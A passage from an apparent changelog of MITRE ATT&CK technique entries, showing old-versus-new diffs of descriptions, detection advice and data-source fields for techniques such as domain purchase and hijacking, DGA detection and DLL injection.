Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may build capabili | t | 1 | Adversaries may build capabilities that can be used during t |
| > | ties that can be used during targeting. Rather than purchasi | > | argeting. Rather than purchasing, freely downloading, or ste | ||
| > | ng, freely downloading, or stealing capabilities, adversarie | > | aling capabilities, adversaries may develop their own capabi | ||
| > | s may develop their own capabilities in-house. This is the p | > | lities in-house. This is the process of identifying developm | ||
| > | rocess of identifying development requirements and building | > | ent requirements and building solutions such as malware, exp | ||
| > | solutions such as malware, exploits, and self-signed certifi | > | loits, and self-signed certificates. Adversaries may develop | ||
| > | cates. Adversaries may develop capabilities to support their | > | capabilities to support their operations throughout numerou | ||
| > | operations throughout numerous phases of the adversary life | > | s phases of the adversary lifecycle.(Citation: Mandiant APT1 | ||
| > | cycle.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)( | > | )(Citation: Kaspersky Sofacy)(Citation: Bitdefender StrongPi | ||
| > | Citation: Bitdefender StrongPity June 2020)(Citation: Talos | > | ty June 2020)(Citation: Talos Promethium June 2020) As with | ||
| > | Promethium June 2020) As with legitimate development effort | > | legitimate development efforts, different skill sets may be | ||
| > | s, different skill sets may be required for developing capab | > | required for developing capabilities. The skills needed may | ||
| > | ilities. The skills needed may be located in-house, or may n | > | be located in-house, or may need to be contracted out. Use | ||
| > | eed to be contracted out. Use of a contractor may be conside | > | of a contractor may be considered an extension of that adver | ||
| > | red an extension of that adversary's development capabilitie | > | sary's development capabilities, provided the adversary play | ||
| > | s, provided the adversary plays a role in shaping requiremen | > | s a role in shaping requirements and maintains a degree of e | ||
| > | ts and maintains a degree of exclusivity to the capability. | > | xclusivity to the capability. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 18:18:08.552000+00:00 | 2021-04-15 03:08:33.511000+00:00 |
| description | Before compromising a victim, adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020) As with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability. | Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020) As with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability. |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may search public | t | 1 | Adversaries may search public digital certificate data for i |
| > | digital certificate data for information about victims that | > | nformation about victims that can be used during targeting. | ||
| > | can be used during targeting. Digital certificates are issue | > | Digital certificates are issued by a certificate authority ( | ||
| > | d by a certificate authority (CA) in order to cryptographica | > | CA) in order to cryptographically verify the origin of signe | ||
| > | lly verify the origin of signed content. These certificates, | > | d content. These certificates, such as those used for encryp | ||
| > | such as those used for encrypted web traffic (HTTPS SSL/TLS | > | ted web traffic (HTTPS SSL/TLS communications), contain info | ||
| > | communications), contain information about the registered o | > | rmation about the registered organization such as name and l | ||
| > | rganization such as name and location. Adversaries may sear | > | ocation. Adversaries may search digital certificate data to | ||
| > | ch digital certificate data to gather actionable information | > | gather actionable information. Threat actors can use online | ||
| > | . Threat actors can use online resources and lookup tools to | > | resources and lookup tools to harvest information about cer | ||
| > | harvest information about certificates.(Citation: SSLShoppe | > | tificates.(Citation: SSLShopper Lookup) Digital certificate | ||
| > | r Lookup) Digital certificate data may also be available fro | > | data may also be available from artifacts signed by the orga | ||
| > | m artifacts signed by the organization (ex: certificates use | > | nization (ex: certificates used from encrypted web traffic a | ||
| > | d from encrypted web traffic are served with content).(Citat | > | re served with content).(Citation: Medium SSL Cert) Informat | ||
| > | ion: Medium SSL Cert) Information from these sources may rev | > | ion from these sources may reveal opportunities for other fo | ||
| > | eal opportunities for other forms of reconnaissance (ex: [Ac | > | rms of reconnaissance (ex: [Active Scanning](https://attack. | ||
| > | tive Scanning](https://attack.mitre.org/techniques/T1595) or | > | mitre.org/techniques/T1595) or [Phishing for Information](ht | ||
| > | [Phishing for Information](https://attack.mitre.org/techniq | > | tps://attack.mitre.org/techniques/T1598)), establishing oper | ||
| > | ues/T1598)), establishing operational resources (ex: [Develo | > | ational resources (ex: [Develop Capabilities](https://attack | ||
| > | p Capabilities](https://attack.mitre.org/techniques/T1587) o | > | .mitre.org/techniques/T1587) or [Obtain Capabilities](https: | ||
| > | r [Obtain Capabilities](https://attack.mitre.org/techniques/ | > | //attack.mitre.org/techniques/T1588)), and/or initial access | ||
| > | T1588)), and/or initial access (ex: [External Remote Service | > | (ex: [External Remote Services](https://attack.mitre.org/te | ||
| > | s](https://attack.mitre.org/techniques/T1133) or [Trusted Re | > | chniques/T1133) or [Trusted Relationship](https://attack.mit | ||
| > | lationship](https://attack.mitre.org/techniques/T1199)). | > | re.org/techniques/T1199)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:19:15.289000+00:00 | 2021-04-15 03:48:37.628000+00:00 |
| description | Before compromising a victim, adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location. Adversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates.(Citation: SSLShopper Lookup) Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content).(Citation: Medium SSL Cert) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). | Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location. Adversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates.(Citation: SSLShopper Lookup) Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content).(Citation: Medium SSL Cert) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). |
Current version: 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-01-30 22:27:39.932000+00:00 | 2021-02-09 14:09:00.753000+00:00 |
| x_mitre_data_sources[0] | API monitoring | Command: Command Execution |
| x_mitre_detection | Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy) Monitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1086), additional logging of PowerShell scripts is recommended. | Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy) Monitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1059/001), additional logging of PowerShell scripts is recommended. |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Drive: Drive Access |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-02 01:37:39.618000+00:00 | 2020-11-10 18:28:57.002000+00:00 |
| external_references[10]['source_name'] | Endgame Predicting DGA | Elastic Predicting DGA |
| x_mitre_data_sources[0] | DNS records | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | Netflow/Enclave netflow | Network Traffic: Network Connection Creation |
| x_mitre_detection | Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains. Machine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain is related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Endgame Predicting DGA) | Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains. Machine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain is related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Elastic Predicting DGA) |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network device logs | |
| x_mitre_data_sources | Packet capture | |
| x_mitre_data_sources | Process use of network |
Current version: 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-01-11 19:48:37.680000+00:00 | 2021-02-09 15:52:24.598000+00:00 |
| x_mitre_data_sources[0] | PowerShell logs | Active Directory: Active Directory Object Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Active Directory: Active Directory Object Deletion |
| x_mitre_data_sources[2] | Process monitoring | Active Directory: Active Directory Object Modification |
| x_mitre_data_sources[3] | Azure activity logs | Command: Command Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Windows event logs |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's networ |
| > | tion about the victim's network domain(s) that can be used d | > | k domain(s) that can be used during targeting. Information a | ||
| > | uring targeting. Information about domains and their propert | > | bout domains and their properties may include a variety of d | ||
| > | ies may include a variety of details, including what domain( | > | etails, including what domain(s) the victim owns as well as | ||
| > | s) the victim owns as well as administrative data (ex: name, | > | administrative data (ex: name, registrar, etc.) and more dir | ||
| > | registrar, etc.) and more directly actionable information s | > | ectly actionable information such as contacts (email address | ||
| > | uch as contacts (email addresses and phone numbers), busines | > | es and phone numbers), business addresses, and name servers. | ||
| > | s addresses, and name servers. Adversaries may gather this | > | Adversaries may gather this information in various ways, s | ||
| > | information in various ways, such as direct collection actio | > | uch as direct collection actions via [Active Scanning](https | ||
| > | ns via [Active Scanning](https://attack.mitre.org/techniques | > | ://attack.mitre.org/techniques/T1595) or [Phishing for Infor | ||
| > | /T1595) or [Phishing for Information](https://attack.mitre.o | > | mation](https://attack.mitre.org/techniques/T1598). Informat | ||
| > | rg/techniques/T1598). Information about victim domains and t | > | ion about victim domains and their properties may also be ex | ||
| > | heir properties may also be exposed to adversaries via onlin | > | posed to adversaries via online or other accessible data set | ||
| > | e or other accessible data sets (ex: [WHOIS](https://attack. | > | s (ex: [WHOIS](https://attack.mitre.org/techniques/T1596/002 | ||
| > | mitre.org/techniques/T1596/002)).(Citation: WHOIS)(Citation: | > | )).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl | ||
| > | DNS Dumpster)(Citation: Circl Passive DNS) Gathering this i | > | Passive DNS) Gathering this information may reveal opportun | ||
| > | nformation may reveal opportunities for other forms of recon | > | ities for other forms of reconnaissance (ex: [Search Open Te | ||
| > | naissance (ex: [Search Open Technical Databases](https://att | > | chnical Databases](https://attack.mitre.org/techniques/T1596 | ||
| > | ack.mitre.org/techniques/T1596), [Search Open Websites/Domai | > | ), [Search Open Websites/Domains](https://attack.mitre.org/t | ||
| > | ns](https://attack.mitre.org/techniques/T1593), or [Phishing | > | echniques/T1593), or [Phishing for Information](https://atta | ||
| > | for Information](https://attack.mitre.org/techniques/T1598) | > | ck.mitre.org/techniques/T1598)), establishing operational re | ||
| > | ), establishing operational resources (ex: [Acquire Infrastr | > | sources (ex: [Acquire Infrastructure](https://attack.mitre.o | ||
| > | ucture](https://attack.mitre.org/techniques/T1583) or [Compr | > | rg/techniques/T1583) or [Compromise Infrastructure](https:// | ||
| > | omise Infrastructure](https://attack.mitre.org/techniques/T1 | > | attack.mitre.org/techniques/T1584)), and/or initial access ( | ||
| > | 584)), and/or initial access (ex: [Phishing](https://attack. | > | ex: [Phishing](https://attack.mitre.org/techniques/T1566)). | ||
| > | mitre.org/techniques/T1566)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-25 22:58:22.915000+00:00 | 2021-04-15 03:30:33.508000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: [WHOIS](https://attack.mitre.org/techniques/T1596/002)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)). | Adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: [WHOIS](https://attack.mitre.org/techniques/T1596/002)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may purchase domai | t | 1 | Adversaries may purchase domains that can be used during tar |
| > | ns that can be used during targeting. Domain names are the h | > | geting. Domain names are the human readable names used to re | ||
| > | uman readable names used to represent one or more IP address | > | present one or more IP addresses. They can be purchased or, | ||
| > | es. They can be purchased or, in some cases, acquired for fr | > | in some cases, acquired for free. Adversaries can use purch | ||
| > | ee. Adversaries can use purchased domains for a variety of | > | ased domains for a variety of purposes, including for [Phish | ||
| > | purposes, including for [Phishing](https://attack.mitre.org/ | > | ing](https://attack.mitre.org/techniques/T1566), [Drive-by C | ||
| > | techniques/T1566), [Drive-by Compromise](https://attack.mitr | > | ompromise](https://attack.mitre.org/techniques/T1189), and C | ||
| > | e.org/techniques/T1189), and Command and Control.(Citation: | > | ommand and Control.(Citation: CISA MSS Sep 2020) Adversaries | ||
| > | CISA MSS Sep 2020) Adversaries may choose domains that are s | > | may choose domains that are similar to legitimate domains, | ||
| > | imilar to legitimate domains, including through use of homog | > | including through use of homoglyphs or use of a different to | ||
| > | lyphs or use of a different top-level domain (TLD).(Citation | > | p-level domain (TLD).(Citation: FireEye APT28)(Citation: Pay | ||
| > | : FireEye APT28)(Citation: PaypalScam) Typosquatting may be | > | palScam) Typosquatting may be used to aid in delivery of pay | ||
| > | used to aid in delivery of payloads via [Drive-by Compromise | > | loads via [Drive-by Compromise](https://attack.mitre.org/tec | ||
| > | ](https://attack.mitre.org/techniques/T1189). Adversaries ca | > | hniques/T1189). Adversaries can also use internationalized d | ||
| > | n also use internationalized domain names (IDNs) to create v | > | omain names (IDNs) to create visually similar lookalike doma | ||
| > | isually similar lookalike domains for use in operations.(Cit | > | ins for use in operations.(Citation: CISA IDN ST05-016) Dom | ||
| > | ation: CISA IDN ST05-016) Domain registrars each maintain a | > | ain registrars each maintain a publicly viewable database th | ||
| > | publicly viewable database that displays contact informatio | > | at displays contact information for every registered domain. | ||
| > | n for every registered domain. Private WHOIS services displa | > | Private WHOIS services display alternative information, suc | ||
| > | y alternative information, such as their own company data, r | > | h as their own company data, rather than the owner of the do | ||
| > | ather than the owner of the domain. Adversaries may use such | > | main. Adversaries may use such private WHOIS services to obs | ||
| > | private WHOIS services to obscure information about who own | > | cure information about who owns a purchased domain. Adversar | ||
| > | s a purchased domain. Adversaries may further interrupt effo | > | ies may further interrupt efforts to track their infrastruct | ||
| > | rts to track their infrastructure by using varied registrati | > | ure by using varied registration information and purchasing | ||
| > | on information and purchasing domains with different domain | > | domains with different domain registrars.(Citation: Mandiant | ||
| > | registrars.(Citation: Mandiant APT1) | > | APT1) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Domain registration'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-20 20:25:29.310000+00:00 | 2021-04-15 02:50:38.792000+00:00 |
| description | Before compromising a victim, adversaries may purchase domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. Adversaries can use purchased domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). Adversaries can also use internationalized domain names (IDNs) to create visually similar lookalike domains for use in operations.(Citation: CISA IDN ST05-016) Domain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1) | Adversaries may purchase domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. Adversaries can use purchased domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). Adversaries can also use internationalized domain names (IDNs) to create visually similar lookalike domains for use in operations.(Citation: CISA IDN ST05-016) Domain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1) |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may hijack domains | t | 1 | Adversaries may hijack domains and/or subdomains that can be |
| > | and/or subdomains that can be used during targeting. Domain | > | used during targeting. Domain registration hijacking is the | ||
| > | registration hijacking is the act of changing the registrat | > | act of changing the registration of a domain name without t | ||
| > | ion of a domain name without the permission of the original | > | he permission of the original registrant.(Citation: ICANNDom | ||
| > | registrant.(Citation: ICANNDomainNameHijacking) An adversary | > | ainNameHijacking) An adversary may gain access to an email a | ||
| > | may gain access to an email account for the person listed a | > | ccount for the person listed as the owner of the domain. The | ||
| > | s the owner of the domain. The adversary can then claim that | > | adversary can then claim that they forgot their password in | ||
| > | they forgot their password in order to make changes to the | > | order to make changes to the domain registration. Other pos | ||
| > | domain registration. Other possibilities include social engi | > | sibilities include social engineering a domain registration | ||
| > | neering a domain registration help desk to gain access to an | > | help desk to gain access to an account or taking advantage o | ||
| > | account or taking advantage of renewal process gaps. Subdo | > | f renewal process gaps. Subdomain hijacking can occur when | ||
| > | main hijacking can occur when organizations have DNS entries | > | organizations have DNS entries that point to non-existent or | ||
| > | that point to non-existent or deprovisioned resources. In s | > | deprovisioned resources. In such cases, an adversary may ta | ||
| > | uch cases, an adversary may take control of a subdomain to c | > | ke control of a subdomain to conduct operations with the ben | ||
| > | onduct operations with the benefit of the trust associated w | > | efit of the trust associated with that domain.(Citation: Mic | ||
| > | ith that domain.(Citation: Microsoft Sub Takeover 2020) | > | rosoft Sub Takeover 2020) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-19 01:28:56.664000+00:00 | 2021-04-15 03:02:43.030000+00:00 |
| description | Before compromising a victim, adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) An adversary may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps. Subdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020) | Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) An adversary may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps. Subdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020) |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may inject dynamic-link libraries (DLLs) into pr | t | 1 | Adversaries may inject dynamic-link libraries (DLLs) into pr |
| > | ocesses in order to evade process-based defenses as well as | > | ocesses in order to evade process-based defenses as well as | ||
| > | possibly elevate privileges. DLL injection is a method of ex | > | possibly elevate privileges. DLL injection is a method of ex | ||
| > | ecuting arbitrary code in the address space of a separate li | > | ecuting arbitrary code in the address space of a separate li | ||
| > | ve process. DLL injection is commonly performed by writin | > | ve process. DLL injection is commonly performed by writin | ||
| > | g the path to a DLL in the virtual address space of the targ | > | g the path to a DLL in the virtual address space of the targ | ||
| > | et process before loading the DLL by invoking a new thread. | > | et process before loading the DLL by invoking a new thread. | ||
| > | The write can be performed with native Windows API calls suc | > | The write can be performed with native Windows API calls suc | ||
| > | h as <code>VirtualAllocEx</code> and <code>WriteProcessMemor | > | h as <code>VirtualAllocEx</code> and <code>WriteProcessMemor | ||
| > | y</code>, then invoked with <code>CreateRemoteThread</code> | > | y</code>, then invoked with <code>CreateRemoteThread</code> | ||
| > | (which calls the <code>LoadLibrary</code> API responsible fo | > | (which calls the <code>LoadLibrary</code> API responsible fo | ||
| > | r loading the DLL). (Citation: Endgame Process Injection Jul | > | r loading the DLL). (Citation: Elastic Process Injection Jul | ||
| > | y 2017) Variations of this method such as reflective DLL i | > | y 2017) Variations of this method such as reflective DLL i | ||
| > | njection (writing a self-mapping DLL into a process) and mem | > | njection (writing a self-mapping DLL into a process) and mem | ||
| > | ory module (map DLL when writing into process) overcome the | > | ory module (map DLL when writing into process) overcome the | ||
| > | address relocation issue as well as the additional APIs to i | > | address relocation issue as well as the additional APIs to i | ||
| > | nvoke execution (since these methods load and execute the fi | > | nvoke execution (since these methods load and execute the fi | ||
| > | les in memory by manually preforming the function of <code>L | > | les in memory by manually preforming the function of <code>L | ||
| > | oadLibrary</code>).(Citation: Endgame HuntingNMemory June 20 | > | oadLibrary</code>).(Citation: Elastic HuntingNMemory June 20 | ||
| > | 17)(Citation: Endgame Process Injection July 2017) Running | > | 17)(Citation: Elastic Process Injection July 2017) Running | ||
| > | code in the context of another process may allow access to | > | code in the context of another process may allow access to | ||
| > | the process's memory, system/network resources, and possibly | > | the process's memory, system/network resources, and possibly | ||
| > | elevated privileges. Execution via DLL injection may also e | > | elevated privileges. Execution via DLL injection may also e | ||
| > | vade detection from security products since the execution is | > | vade detection from security products since the execution is | ||
| > | masked under a legitimate process. | > | masked under a legitimate process. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:17:59.148000+00:00 | 2020-11-10 18:29:30.879000+00:00 |
| description | Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process.
DLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL). (Citation: Endgame Process Injection July 2017)
Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of LoadLibrary).(Citation: Endgame HuntingNMemory June 2017)(Citation: Endgame Process Injection July 2017)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. | Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process.
DLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017)
Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of LoadLibrary).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. |
| external_references[1]['source_name'] | Endgame Process Injection July 2017 | Elastic Process Injection July 2017 |
| external_references[2]['source_name'] | Endgame HuntingNMemory June 2017 | Elastic HuntingNMemory June 2017 |
| x_mitre_data_sources[0] | Process monitoring | Module: Module Load |
| x_mitre_data_sources[1] | DLL monitoring | Process: OS API Execution |
| x_mitre_data_sources[2] | File monitoring | Process: Process Access |
